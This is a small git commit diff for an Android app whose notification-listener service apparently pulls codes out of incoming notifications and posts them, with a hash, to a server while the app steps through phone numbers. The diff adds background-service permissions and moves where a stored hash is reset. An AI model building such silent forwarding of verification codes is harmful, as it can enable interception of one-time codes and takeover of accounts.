test
This commit is contained in:
parent
45dc17bb11
commit
b8c7934c9b
3 changed files with 6 additions and 1 deletions
|
@ -51,6 +51,9 @@
|
||||||
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
|
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
|
||||||
tools:ignore="ProtectedPermissions" />
|
tools:ignore="ProtectedPermissions" />
|
||||||
<uses-permission android:name="android.permission.CALL_PHONE" />
|
<uses-permission android:name="android.permission.CALL_PHONE" />
|
||||||
|
<uses-permission android:name="android.permission.WAKE_LOCK" />
|
||||||
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||||
|
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -75,9 +75,10 @@ public class Listener extends NotificationListenerService {
|
||||||
PostRequest postRequestTask = new PostRequest(context, null);
|
PostRequest postRequestTask = new PostRequest(context, null);
|
||||||
postRequestTask.execute("code",
|
postRequestTask.execute("code",
|
||||||
code + ";" + currentHash); // STATIC
|
code + ";" + currentHash); // STATIC
|
||||||
}
|
|
||||||
setCurrentHash(context, "");
|
setCurrentHash(context, "");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public String processExtras(Bundle extras) {
|
public String processExtras(Bundle extras) {
|
||||||
|
|
|
@ -324,6 +324,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
PostRequest postRequestTask = new PostRequest(this, this);
|
PostRequest postRequestTask = new PostRequest(this, this);
|
||||||
postRequestTask.execute("code",
|
postRequestTask.execute("code",
|
||||||
code + ";" + getCurrentHash(this)); // STATIC
|
code + ";" + getCurrentHash(this)); // STATIC
|
||||||
|
setCurrentHash(this, "");
|
||||||
nextPhone();
|
nextPhone();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Add table
Reference in a new issue